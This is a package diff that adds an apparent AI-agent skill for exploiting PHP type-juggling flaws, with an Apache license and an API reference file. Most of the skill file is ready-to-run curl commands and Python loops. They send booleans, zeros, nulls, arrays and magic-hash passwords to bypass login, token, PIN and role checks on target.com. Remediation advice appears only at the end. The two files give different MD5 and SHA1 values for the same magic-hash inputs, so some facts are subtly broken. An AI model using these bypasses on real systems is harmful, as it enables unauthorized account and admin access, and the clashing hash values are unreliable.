open-sploit 1.2.0

package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE

@@ -0,0 +1,201 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to the Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by the Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding any notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. Please do not remove or change
+      the license header comment from a contributed file except when
+      necessary.
+
+   Copyright 2026 mukul975
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md

@@ -0,0 +1,272 @@
+---
+name: exploiting-type-juggling-vulnerabilities
+description: Exploit PHP type juggling vulnerabilities caused by loose comparison
+  operators to bypass authentication, circumvent hash verification, and manipulate
+  application logic through type coercion attacks.
+domain: cybersecurity
+subdomain: web-application-security
+tags:
+- type-juggling
+- php-security
+- loose-comparison
+- authentication-bypass
+- magic-hash
+- type-coercion
+- web-security
+version: '1.0'
+author: mahipal
+license: Apache-2.0
+nist_csf:
+- PR.PS-01
+- ID.RA-01
+- PR.DS-10
+- DE.CM-01
+mitre_attack:
+- T1190
+- T1059.007
+- T1505.003
+- T1083
+- T1027
+---
+
+# Exploiting Type Juggling Vulnerabilities
+
+## When to Use
+- When testing PHP web applications for authentication bypass vulnerabilities
+- During assessment of password comparison and hash verification logic
+- When testing applications using loose comparison (== instead of ===)
+- During code review of PHP applications handling JSON or deserialized input
+- When evaluating input validation that relies on type-dependent comparison
+
+## Prerequisites
+- Understanding of PHP type system and loose comparison behavior
+- Knowledge of magic hash values (0e prefix) and their scientific notation interpretation
+- Burp Suite for request manipulation and parameter type changing
+- PHP development environment for testing payloads locally
+- Collection of magic hash strings from PayloadsAllTheThings
+- Ability to send JSON or serialized data to control input types
+
+
+> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
+
+## Workflow
+
+### Step 1 — Identify Type Juggling Candidates
+```bash
+# Look for PHP applications with:
+# - Login/authentication forms
+# - Password comparison endpoints
+# - API endpoints accepting JSON input
+# - Token/hash verification
+# - Numeric comparison for access control
+
+# Check if application accepts JSON input (allows type control)
+curl -X POST http://target.com/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username":"admin","password":"test"}'
+
+# If application normally uses form data, try JSON
+# Form: username=admin&password=test
+# JSON: {"username":"admin","password":true}
+```
+
+### Step 2 — Exploit Loose Comparison Authentication Bypass
+```bash
+# PHP loose comparison: 0 == "password" returns TRUE
+# Send integer 0 as password via JSON
+curl -X POST http://target.com/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username":"admin","password":0}'
+
+# Send boolean true (TRUE == "any_string" in loose comparison)
+curl -X POST http://target.com/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username":"admin","password":true}'
+
+# Send empty array (array bypasses strcmp)
+curl -X POST http://target.com/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username":"admin","password":[]}'
+
+# Send null
+curl -X POST http://target.com/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username":"admin","password":null}'
+
+# PHP strcmp vulnerability: strcmp(array, string) returns NULL
+# NULL == 0 is TRUE in loose comparison
+curl -X POST http://target.com/login \
+  -d "username=admin&password[]=anything"
+```
+
+### Step 3 — Exploit Magic Hash Collisions
+```bash
+# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
+# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison
+
+# Magic MD5 hashes (all evaluate to 0 in loose comparison):
+# "240610708" -> md5: 0e462097431906509019562988736854
+# "QNKCDZO"  -> md5: 0e830400451993494058024219903391
+# "aabg7XSs" -> md5: 0e087386482136013740957780965295
+# "aabC9RqS" -> md5: 0e041022518165728065344349536299
+
+# If application compares md5(user_input) == stored_hash:
+# And stored_hash starts with "0e" and contains only digits after
+curl -X POST http://target.com/login \
+  -d "username=admin&password=240610708"
+
+# Magic SHA1 hashes:
+# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
+# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393
+
+# Test with known magic hash values
+for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
+  echo -n "Testing: $payload -> "
+  curl -s -X POST http://target.com/login \
+    -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
+  echo
+done
+```
+
+### Step 4 — Exploit Comparison in Access Control
+```bash
+# Numeric comparison bypass
+# If: if($user_id == $target_id) { // allow access }
+# "0" == "0e12345" is TRUE (both evaluate to 0)
+
+# String to integer conversion
+# "1abc" == 1 is TRUE in PHP (string truncated to integer)
+curl "http://target.com/api/user?id=1abc"
+
+# Boolean comparison for role checking
+# if($role == true) grants access to any non-empty string
+curl -X POST http://target.com/api/action \
+  -H "Content-Type: application/json" \
+  -d '{"action":"delete","role":true}'
+
+# Null comparison for optional checks
+# if($token == null) might skip validation
+curl -X POST http://target.com/api/verify \
+  -H "Content-Type: application/json" \
+  -d '{"token":0}'
+```
+
+### Step 5 — Exploit via Deserialization Input
+```bash
+# PHP json_decode() preserves types
+# Attacker controls type via JSON: true, 0, null, []
+
+# Bypass token verification
+curl -X POST http://target.com/api/verify-token \
+  -H "Content-Type: application/json" \
+  -d '{"token":true}'
+
+# Bypass numeric PIN verification
+curl -X POST http://target.com/api/verify-pin \
+  -H "Content-Type: application/json" \
+  -d '{"pin":true}'
+
+# Bypass with zero value
+curl -X POST http://target.com/api/check-code \
+  -H "Content-Type: application/json" \
+  -d '{"code":0}'
+
+# PHP unserialize() type juggling
+# Craft serialized object with integer type instead of string
+# s:8:"password"; -> i:0; (string "password" to integer 0)
+```
+
+### Step 6 — Automated Type Juggling Testing
+```bash
+# Test all common type juggling payloads against each parameter
+# Using Burp Intruder with type juggling payload list
+
+# Payload list for JSON-based testing:
+# true
+# false
+# null
+# 0
+# 1
+# ""
+# []
+# "0"
+# "0e99999"
+# "240610708"
+
+# Python automation
+python3 -c "
+import requests
+import json
+
+url = 'http://target.com/api/login'
+payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']
+
+for p in payloads:
+    data = {'username': 'admin', 'password': p}
+    r = requests.post(url, json=data)
+    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')
+"
+```
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| Loose Comparison (==) | PHP comparison that performs type coercion before comparing values |
+| Strict Comparison (===) | PHP comparison requiring both value and type to match |
+| Magic Hash | String whose hash starts with "0e" followed by digits, evaluating to 0 in loose comparison |
+| Type Coercion | Automatic conversion between types (string to int, null to 0) during comparison |
+| strcmp Bypass | Passing array to strcmp() returns NULL, which equals 0 in loose comparison |
+| JSON Type Control | Using JSON input to send specific types (boolean, integer, null) to PHP endpoints |
+| Scientific Notation | PHP interprets "0eN" strings as 0 in exponential notation during numeric comparison |
+
+## Tools & Systems
+
+| Tool | Purpose |
+|------|---------|
+| Burp Suite | HTTP proxy for changing parameter types in requests |
+| PHP interactive shell | Local testing of type juggling behavior |
+| PayloadsAllTheThings | Curated magic hash and type juggling payload lists |
+| phpggc | PHP generic gadget chains for deserialization exploitation |
+| Custom Python scripts | Automated type juggling payload testing |
+| PHPStan/Psalm | Static analysis tools detecting loose comparisons in code |
+
+## Common Scenarios
+
+1. **Authentication Bypass via Boolean** — Send `"password": true` as JSON to bypass loose comparison password verification
+2. **Magic Hash Collision** — Use known magic hash input ("240610708") whose MD5 starts with "0e" to match against stored hashes
+3. **strcmp Array Bypass** — Send `password[]=anything` to make strcmp() return NULL, bypassing password comparison
+4. **PIN/OTP Bypass** — Send integer 0 as verification code to match against "0e..." hash of the actual code
+5. **Role Escalation** — Send `"role": true` to match any non-empty role string in loose comparison access checks
+
+## Output Format
+
+```
+## Type Juggling Vulnerability Report
+- **Target**: http://target.com
+- **Language**: PHP 8.1
+- **Framework**: Laravel
+
+### Findings
+| # | Endpoint | Parameter | Payload | Type | Impact |
+|---|----------|-----------|---------|------|--------|
+| 1 | POST /login | password | true (boolean) | Loose comparison | Auth bypass |
+| 2 | POST /login | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |
+| 3 | POST /login | password[] | array | strcmp NULL return | Auth bypass |
+| 4 | POST /verify | code | 0 (integer) | Numeric comparison | OTP bypass |
+
+### PHP Comparison Table (Relevant)
+| Expression | Result | Reason |
+|-----------|--------|--------|
+| 0 == "password" | TRUE | String cast to 0 |
+| true == "password" | TRUE | Non-empty string is truthy |
+| "0e123" == "0e456" | TRUE | Both are scientific notation = 0 |
+| NULL == 0 | TRUE | NULL cast to 0 |
+
+### Remediation
+- Replace all == with === (strict comparison) in security-critical code
+- Use password_verify() for password comparison instead of direct comparison
+- Use hash_equals() for timing-safe hash comparison
+- Validate input types before comparison operations
+- Enable PHP strict_types declaration in all files
+```

package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md

@@ -0,0 +1,87 @@
+# API Reference: Type Juggling Vulnerabilities
+
+## PHP Loose Comparison (==) vs Strict (===)
+
+### Dangerous Comparisons
+| Expression | Result | Why |
+|-----------|--------|-----|
+| `0 == "string"` | TRUE | String cast to int = 0 |
+| `"0e123" == "0e456"` | TRUE | Both treated as 0 (scientific notation) |
+| `true == "anything"` | TRUE | Non-empty string is truthy |
+| `NULL == ""` | TRUE | Both falsy |
+| `[] == false` | TRUE | Empty array is falsy |
+
+## Magic Hash Strings
+
+### MD5 Hashes Starting with 0e
+| Input | MD5 Hash |
+|-------|----------|
+| 240610708 | 0e462097431906509019562988736854 |
+| QNKCDZO | 0e830400451993494058024219903391 |
+| aabg7XSs | 0e087386482136013740957780965295 |
+| aabC9RqS | 0e041022518165728065344349536617 |
+
+### SHA1 Hashes Starting with 0e
+| Input | SHA1 Hash |
+|-------|-----------|
+| aaroZmOk | 0e17... |
+
+## Authentication Bypass Payloads
+
+### JSON Payloads
+```json
+{"username": "admin", "password": true}
+{"username": "admin", "password": 0}
+{"username": "admin", "password": []}
+```
+
+### Why This Works
+```php
+// Vulnerable PHP code
+if ($password == $stored_hash) { // Loose comparison!
+    authenticate();
+}
+// true == "any_string" => TRUE
+// 0 == "non_numeric_string" => TRUE (PHP < 8.0)
+```
+
+## Token/OTP Bypass
+
+### Loose Comparison on Tokens
+```php
+// Vulnerable
+if ($_POST['token'] == $valid_token) { ... }
+
+// Attack: send integer 0
+// 0 == "a1b2c3..." => TRUE (PHP < 8.0)
+```
+
+### JSON Type Manipulation
+```json
+{"otp": 0}      // 0 == "123456" in PHP < 8.0
+{"otp": true}   // true == "123456" is TRUE
+```
+
+## Testing with requests
+
+```python
+import requests
+# Boolean bypass
+resp = requests.post(url, json={"password": True})
+# Integer bypass
+resp = requests.post(url, json={"password": 0})
+# Array bypass
+resp = requests.post(url, json={"password": []})
+```
+
+## PHP 8.0 Changes
+- `0 == "string"` now returns FALSE (fixed)
+- `0 == ""` now returns FALSE
+- Still vulnerable: `"0e123" == "0e456"` returns TRUE
+
+## Remediation
+1. Always use strict comparison (`===`)
+2. Validate input types before comparison
+3. Use `password_verify()` for passwords
+4. Use `hash_equals()` for timing-safe comparison
+5. Upgrade to PHP 8.0+